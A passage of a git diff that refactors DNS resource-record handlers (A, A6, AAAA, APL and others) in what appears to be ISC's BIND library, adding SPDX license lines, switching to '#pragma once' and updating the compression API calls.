@@ -28,5 +29,3 @@ typedef struct dns_rdata_zonemd {
 	unsigned char *digest;
 	uint16_t length;
 } dns_rdata_zonemd_t;
-
-#endif /* GENERIC_ZONEMD_63_H */
diff --git a/lib/dns/rdata/hs_4/a_1.c b/lib/dns/rdata/hs_4/a_1.c
index 6a4c1a53bf..c9482fa923 100644
--- a/lib/dns/rdata/hs_4/a_1.c
+++ b/lib/dns/rdata/hs_4/a_1.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,14 +11,13 @@
  * information regarding copyright ownership.
  */
 
-#ifndef RDATA_HS_4_A_1_C
-#define RDATA_HS_4_A_1_C
+#pragma once
 
 #include <isc/net.h>
 
 #define RRTYPE_A_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_hs_a(ARGS_FROMTEXT) {
 	isc_token_t token;
 	struct in_addr addr;
@@ -46,7 +47,7 @@ fromtext_hs_a(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_hs_a(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -60,7 +61,7 @@ totext_hs_a(ARGS_TOTEXT) {
 	return (inet_totext(AF_INET, tctx->flags, &region, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_hs_a(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 	isc_region_t tregion;
@@ -70,7 +71,6 @@ fromwire_hs_a(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &sregion);
@@ -88,7 +88,7 @@ fromwire_hs_a(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_hs_a(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -107,7 +107,7 @@ towire_hs_a(ARGS_TOWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline int
+static int
 compare_hs_a(ARGS_COMPARE) {
 	int order;
 
@@ -126,7 +126,7 @@ compare_hs_a(ARGS_COMPARE) {
 	return (order);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_hs_a(ARGS_FROMSTRUCT) {
 	dns_rdata_hs_a_t *a = source;
 	uint32_t n;
@@ -145,7 +145,7 @@ fromstruct_hs_a(ARGS_FROMSTRUCT) {
 	return (uint32_tobuffer(n, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_hs_a(ARGS_TOSTRUCT) {
 	dns_rdata_hs_a_t *a = target;
 	uint32_t n;
@@ -169,26 +169,27 @@ tostruct_hs_a(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_hs_a(ARGS_FREESTRUCT) {
 	UNUSED(source);
 
 	REQUIRE(source != NULL);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_hs_a(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_a);
 	REQUIRE(rdata->rdclass == dns_rdataclass_hs);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_hs_a(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -200,7 +201,7 @@ digest_hs_a(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_hs_a(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_a);
 	REQUIRE(rdclass == dns_rdataclass_hs);
@@ -213,7 +214,7 @@ checkowner_hs_a(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_hs_a(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_a);
 	REQUIRE(rdata->rdclass == dns_rdataclass_hs);
@@ -225,9 +226,7 @@ checknames_hs_a(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_hs_a(ARGS_COMPARE) {
 	return (compare_hs_a(rdata1, rdata2));
 }
-
-#endif /* RDATA_HS_4_A_1_C */
diff --git a/lib/dns/rdata/hs_4/a_1.h b/lib/dns/rdata/hs_4/a_1.h
index afbf9afae7..f57d5477aa 100644
--- a/lib/dns/rdata/hs_4/a_1.h
+++ b/lib/dns/rdata/hs_4/a_1.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,12 +12,9 @@
  */
 
 /* */
-#ifndef HS_4_A_1_H
-#define HS_4_A_1_H 1
+#pragma once
 
 typedef struct dns_rdata_hs_a {
 	dns_rdatacommon_t common;
 	struct in_addr in_addr;
 } dns_rdata_hs_a_t;
-
-#endif /* HS_4_A_1_H */
diff --git a/lib/dns/rdata/in_1/a6_38.c b/lib/dns/rdata/in_1/a6_38.c
index 377c4ec82f..dd62f284f0 100644
--- a/lib/dns/rdata/in_1/a6_38.c
+++ b/lib/dns/rdata/in_1/a6_38.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_A6_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_a6(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char addr[16];
@@ -94,7 +96,7 @@ fromtext_in_a6(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_a6(ARGS_TOTEXT) {
 	isc_region_t sr, ar;
 	unsigned char addr[16];
@@ -104,7 +106,7 @@ totext_in_a6(ARGS_TOTEXT) {
 	char buf[sizeof("128")];
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_a6);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -138,11 +140,12 @@ totext_in_a6(ARGS_TOTEXT) {
 	dns_name_init(&name, NULL);
 	dns_name_init(&prefix, NULL);
 	dns_name_fromregion(&name, &sr);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_a6(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	unsigned char prefixlen;
@@ -156,7 +159,7 @@ fromwire_in_a6(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	isc_buffer_activeregion(source, &sr);
 	/*
@@ -194,10 +197,10 @@ fromwire_in_a6(ARGS_FROMWIRE) {
 	}
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_a6(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -209,7 +212,7 @@ towire_in_a6(ARGS_TOWIRE) {
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_rdata_toregion(rdata, &sr);
 	prefixlen = sr.base[0];
 	INSIST(prefixlen <= 128);
@@ -224,10 +227,10 @@ towire_in_a6(ARGS_TOWIRE) {
 
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_in_a6(ARGS_COMPARE) {
 	int order;
 	unsigned char prefixlen1, prefixlen2;
@@ -284,7 +287,7 @@ compare_in_a6(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_a6(ARGS_FROMSTRUCT) {
 	dns_rdata_in_a6_t *a6 = source;
 	isc_region_t region;
@@ -332,7 +335,7 @@ fromstruct_in_a6(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_a6(ARGS_TOSTRUCT) {
 	dns_rdata_in_a6_t *a6 = target;
 	unsigned char octets;
@@ -371,13 +374,13 @@ tostruct_in_a6(ARGS_TOSTRUCT) {
 	if (a6->prefixlen != 0) {
 		dns_name_init(&name, NULL);
 		dns_name_fromregion(&name, &r);
-		RETERR(name_duporclone(&name, mctx, &a6->prefix));
+		name_duporclone(&name, mctx, &a6->prefix);
 	}
 	a6->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_a6(ARGS_FREESTRUCT) {
 	dns_rdata_in_a6_t *a6 = source;
 
@@ -395,19 +398,20 @@ freestruct_in_a6(ARGS_FREESTRUCT) {
 	a6->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_a6(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_a6);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_a6(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	unsigned char prefixlen, octets;
@@ -437,7 +441,7 @@ digest_in_a6(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_in_a6(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_a6);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -448,7 +452,7 @@ checkowner_in_a6(ARGS_CHECKOWNER) {
 	return (dns_name_ishostname(name, wildcard));
 }
 
-static inline bool
+static bool
 checknames_in_a6(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -476,7 +480,7 @@ checknames_in_a6(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_a6(ARGS_COMPARE) {
 	return (compare_in_a6(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/a6_38.h b/lib/dns/rdata/in_1/a6_38.h
index 3f75153a02..7c09cc59fe 100644
--- a/lib/dns/rdata/in_1/a6_38.h
+++ b/lib/dns/rdata/in_1/a6_38.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_A6_38_H
-#define IN_1_A6_38_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2874 */
@@ -22,5 +23,3 @@ typedef struct dns_rdata_in_a6 {
 	uint8_t prefixlen;
 	struct in6_addr in6_addr;
 } dns_rdata_in_a6_t;
-
-#endif /* IN_1_A6_38_H */
diff --git a/lib/dns/rdata/in_1/a_1.c b/lib/dns/rdata/in_1/a_1.c
index 24e303f257..4dafce0fab 100644
--- a/lib/dns/rdata/in_1/a_1.c
+++ b/lib/dns/rdata/in_1/a_1.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_A_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_a(ARGS_FROMTEXT) {
 	isc_token_t token;
 	struct in_addr addr;
@@ -48,7 +50,7 @@ fromtext_in_a(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_a(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -62,7 +64,7 @@ totext_in_a(ARGS_TOTEXT) {
 	return (inet_totext(AF_INET, tctx->flags, &region, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_a(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 	isc_region_t tregion;
@@ -72,7 +74,6 @@ fromwire_in_a(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &sregion);
@@ -90,7 +91,7 @@ fromwire_in_a(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_a(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -109,7 +110,7 @@ towire_in_a(ARGS_TOWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline int
+static int
 compare_in_a(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -126,7 +127,7 @@ compare_in_a(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_a(ARGS_FROMSTRUCT) {
 	dns_rdata_in_a_t *a = source;
 	uint32_t n;
@@ -145,7 +146,7 @@ fromstruct_in_a(ARGS_FROMSTRUCT) {
 	return (uint32_tobuffer(n, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_a(ARGS_TOSTRUCT) {
 	dns_rdata_in_a_t *a = target;
 	uint32_t n;
@@ -169,7 +170,7 @@ tostruct_in_a(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_a(ARGS_FREESTRUCT) {
 	dns_rdata_in_a_t *a = source;
 
@@ -180,19 +181,20 @@ freestruct_in_a(ARGS_FREESTRUCT) {
 	UNUSED(a);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_a(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_a);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_a(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -204,7 +206,7 @@ digest_in_a(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_a(ARGS_CHECKOWNER) {
 	dns_name_t prefix, suffix;
 	unsigned int labels, i;
@@ -224,7 +226,8 @@ checkowner_in_a(ARGS_CHECKOWNER) {
 		dns_name_init(&suffix, NULL);
 		dns_name_split(name, labels - 2, &prefix, &suffix);
 		if (dns_name_equal(&gc_msdcs, &prefix) &&
-		    dns_name_ishostname(&suffix, false)) {
+		    dns_name_ishostname(&suffix, false))
+		{
 			return (true);
 		}
 
@@ -255,7 +258,7 @@ checkowner_in_a(ARGS_CHECKOWNER) {
 	return (dns_name_ishostname(name, wildcard));
 }
 
-static inline bool
+static bool
 checknames_in_a(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_a);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -267,7 +270,7 @@ checknames_in_a(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_a(ARGS_COMPARE) {
 	return (compare_in_a(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/a_1.h b/lib/dns/rdata/in_1/a_1.h
index 0aacd51987..38ffd8f431 100644
--- a/lib/dns/rdata/in_1/a_1.h
+++ b/lib/dns/rdata/in_1/a_1.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,12 +12,9 @@
  */
 
 /* */
-#ifndef IN_1_A_1_H
-#define IN_1_A_1_H 1
+#pragma once
 
 typedef struct dns_rdata_in_a {
 	dns_rdatacommon_t common;
 	struct in_addr in_addr;
 } dns_rdata_in_a_t;
-
-#endif /* IN_1_A_1_H */
diff --git a/lib/dns/rdata/in_1/aaaa_28.c b/lib/dns/rdata/in_1/aaaa_28.c
index d7427a1757..d1d3c164f5 100644
--- a/lib/dns/rdata/in_1/aaaa_28.c
+++ b/lib/dns/rdata/in_1/aaaa_28.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_AAAA_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_aaaa(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char addr[16];
@@ -48,7 +50,7 @@ fromtext_in_aaaa(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_aaaa(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -78,7 +80,7 @@ totext_in_aaaa(ARGS_TOTEXT) {
 	return (inet_totext(AF_INET6, tctx->flags, &region, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_aaaa(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 	isc_region_t tregion;
@@ -88,7 +90,6 @@ fromwire_in_aaaa(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &sregion);
@@ -106,7 +107,7 @@ fromwire_in_aaaa(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_aaaa(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -125,7 +126,7 @@ towire_in_aaaa(ARGS_TOWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline int
+static int
 compare_in_aaaa(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -142,7 +143,7 @@ compare_in_aaaa(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_aaaa(ARGS_FROMSTRUCT) {
 	dns_rdata_in_aaaa_t *aaaa = source;
 
@@ -158,7 +159,7 @@ fromstruct_in_aaaa(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, aaaa->in6_addr.s6_addr, 16));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_aaaa(ARGS_TOSTRUCT) {
 	dns_rdata_in_aaaa_t *aaaa = target;
 	isc_region_t r;
@@ -181,7 +182,7 @@ tostruct_in_aaaa(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_aaaa(ARGS_FREESTRUCT) {
 	dns_rdata_in_aaaa_t *aaaa = source;
 
@@ -192,19 +193,20 @@ freestruct_in_aaaa(ARGS_FREESTRUCT) {
 	UNUSED(aaaa);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_aaaa(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_aaaa);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_aaaa(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -216,7 +218,7 @@ digest_in_aaaa(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_aaaa(ARGS_CHECKOWNER) {
 	dns_name_t prefix, suffix;
 
@@ -235,7 +237,8 @@ checkowner_in_aaaa(ARGS_CHECKOWNER) {
 		dns_name_split(name, dns_name_countlabels(name) - 2, &prefix,
 			       &suffix);
 		if (dns_name_equal(&gc_msdcs, &prefix) &&
-		    dns_name_ishostname(&suffix, false)) {
+		    dns_name_ishostname(&suffix, false))
+		{
 			return (true);
 		}
 	}
@@ -243,7 +246,7 @@ checkowner_in_aaaa(ARGS_CHECKOWNER) {
 	return (dns_name_ishostname(name, wildcard));
 }
 
-static inline bool
+static bool
 checknames_in_aaaa(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_aaaa);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -255,7 +258,7 @@ checknames_in_aaaa(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_aaaa(ARGS_COMPARE) {
 	return (compare_in_aaaa(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/aaaa_28.h b/lib/dns/rdata/in_1/aaaa_28.h
index 5e09ce46f0..915cc0f262 100644
--- a/lib/dns/rdata/in_1/aaaa_28.h
+++ b/lib/dns/rdata/in_1/aaaa_28.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_AAAA_28_H
-#define IN_1_AAAA_28_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1886 */
@@ -19,5 +20,3 @@ typedef struct dns_rdata_in_aaaa {
 	dns_rdatacommon_t common;
 	struct in6_addr in6_addr;
 } dns_rdata_in_aaaa_t;
-
-#endif /* IN_1_AAAA_28_H */
diff --git a/lib/dns/rdata/in_1/apl_42.c b/lib/dns/rdata/in_1/apl_42.c
index 50b784c15d..7b00b71f15 100644
--- a/lib/dns/rdata/in_1/apl_42.c
+++ b/lib/dns/rdata/in_1/apl_42.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_APL_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_apl(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char addr[16];
@@ -112,7 +114,7 @@ fromtext_in_apl(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_apl(ARGS_TOTEXT) {
 	isc_region_t sr;
 	isc_region_t ir;
@@ -177,7 +179,7 @@ totext_in_apl(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_apl(ARGS_FROMWIRE) {
 	isc_region_t sr, sr2;
 	isc_region_t tr;
@@ -191,7 +193,6 @@ fromwire_in_apl(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(dctx);
 	UNUSED(rdclass);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	isc_buffer_availableregion(target, &tr);
@@ -234,7 +235,7 @@ fromwire_in_apl(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr2.base, sr2.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_apl(ARGS_TOWIRE) {
 	UNUSED(cctx);
 
@@ -244,7 +245,7 @@ towire_in_apl(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_in_apl(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -259,7 +260,7 @@ compare_in_apl(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_apl(ARGS_FROMSTRUCT) {
 	dns_rdata_in_apl_t *apl = source;
 	isc_buffer_t b;
@@ -274,10 +275,11 @@ fromstruct_in_apl(ARGS_FROMSTRUCT) {
 	isc_buffer_init(&b, apl->apl, apl->apl_len);
 	isc_buffer_add(&b, apl->apl_len);
 	isc_buffer_setactive(&b, apl->apl_len);
-	return (fromwire_in_apl(rdclass, type, &b, NULL, false, target));
+	return (fromwire_in_apl(rdclass, type, &b, DNS_DECOMPRESS_DEFAULT,
+				target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_apl(ARGS_TOSTRUCT) {
 	dns_rdata_in_apl_t *apl = target;
 	isc_region_t r;
@@ -293,16 +295,12 @@ tostruct_in_apl(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	apl->apl_len = r.length;
 	apl->apl = mem_maybedup(mctx, r.base, r.length);
-	if (apl->apl == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	apl->offset = 0;
 	apl->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_apl(ARGS_FREESTRUCT) {
 	dns_rdata_in_apl_t *apl = source;
 
@@ -423,18 +421,20 @@ dns_rdata_apl_count(const dns_rdata_in_apl_t *apl) {
 	return (apl->apl_len);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_apl(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_apl);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
 
-	(void)add;
-	(void)arg;
+	UNUSED(rdata);
+	UNUSED(owner);
+	UNUSED(add);
+	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_apl(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -446,7 +446,7 @@ digest_in_apl(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_apl(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_apl);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -459,7 +459,7 @@ checkowner_in_apl(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_in_apl(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_apl);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -471,7 +471,7 @@ checknames_in_apl(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_apl(ARGS_COMPARE) {
 	return (compare_in_apl(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/apl_42.h b/lib/dns/rdata/in_1/apl_42.h
index 8263f5c034..0a3f7ac40f 100644
--- a/lib/dns/rdata/in_1/apl_42.h
+++ b/lib/dns/rdata/in_1/apl_42.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef IN_1_APL_42_H
-#define IN_1_APL_42_H 1
+#pragma once
 
 typedef struct dns_rdata_apl_ent {
 	bool negative;
@@ -47,5 +48,3 @@ dns_rdata_apl_current(dns_rdata_in_apl_t *, dns_rdata_apl_ent_t *);
 
 unsigned int
 dns_rdata_apl_count(const dns_rdata_in_apl_t *apl);
-
-#endif /* IN_1_APL_42_H */
diff --git a/lib/dns/rdata/in_1/atma_34.c b/lib/dns/rdata/in_1/atma_34.c
index 07a9198e53..7ed338d235 100644
--- a/lib/dns/rdata/in_1/atma_34.c
+++ b/lib/dns/rdata/in_1/atma_34.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
